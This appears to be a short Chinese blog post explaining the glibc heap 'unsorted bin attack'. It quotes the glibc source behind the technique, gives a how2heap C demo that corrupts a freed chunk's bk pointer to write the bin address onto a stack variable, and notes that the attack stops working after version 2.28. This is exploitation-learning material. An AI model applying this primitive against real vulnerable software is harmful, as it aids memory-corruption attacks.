unsorted bin attack

史无前例简短的实验代码(ˉ▽ˉ;)…

原理

unsorted bin attack利用的是_int_malloc中遍历unsorted bin取下chunk的过程,实现效果为任意地址写unsorted bin的地址

1
2
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

2.28增加了对chunk的前后连接的检查机制,这个方法就失效了

1
2
3
4
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

利用

2.26以前

实验代码入下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>

int main(){

unsigned long stack_var=0;
unsigned long *p=malloc(400);
malloc(500);//防止合并
free(p);
p[1]=(unsigned long)(&stack_var-2);
//p->bk=stack_var-0x10
//stack_var-0x10 ->presize
//stack_var-8 ->size
//stack_var ->fd
malloc(400);
}

malloc(400)的过程中执行了以下步骤:

1
2
3
4
5
6
//victim=p
bck = victim->bk;
//bck=p->bk=stack_var-0x10
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
//(stack_var-0x10)->fd=stack_var=unsorted_chunks(av)

2.26-2.27

有了tcache,申请的chunk要在tcache的范围外


unsorted bin attack
http://akaieurus.github.io/2023/02/06/unsorted-bin-attack/
作者
Eurus
发布于
2023年2月6日
许可协议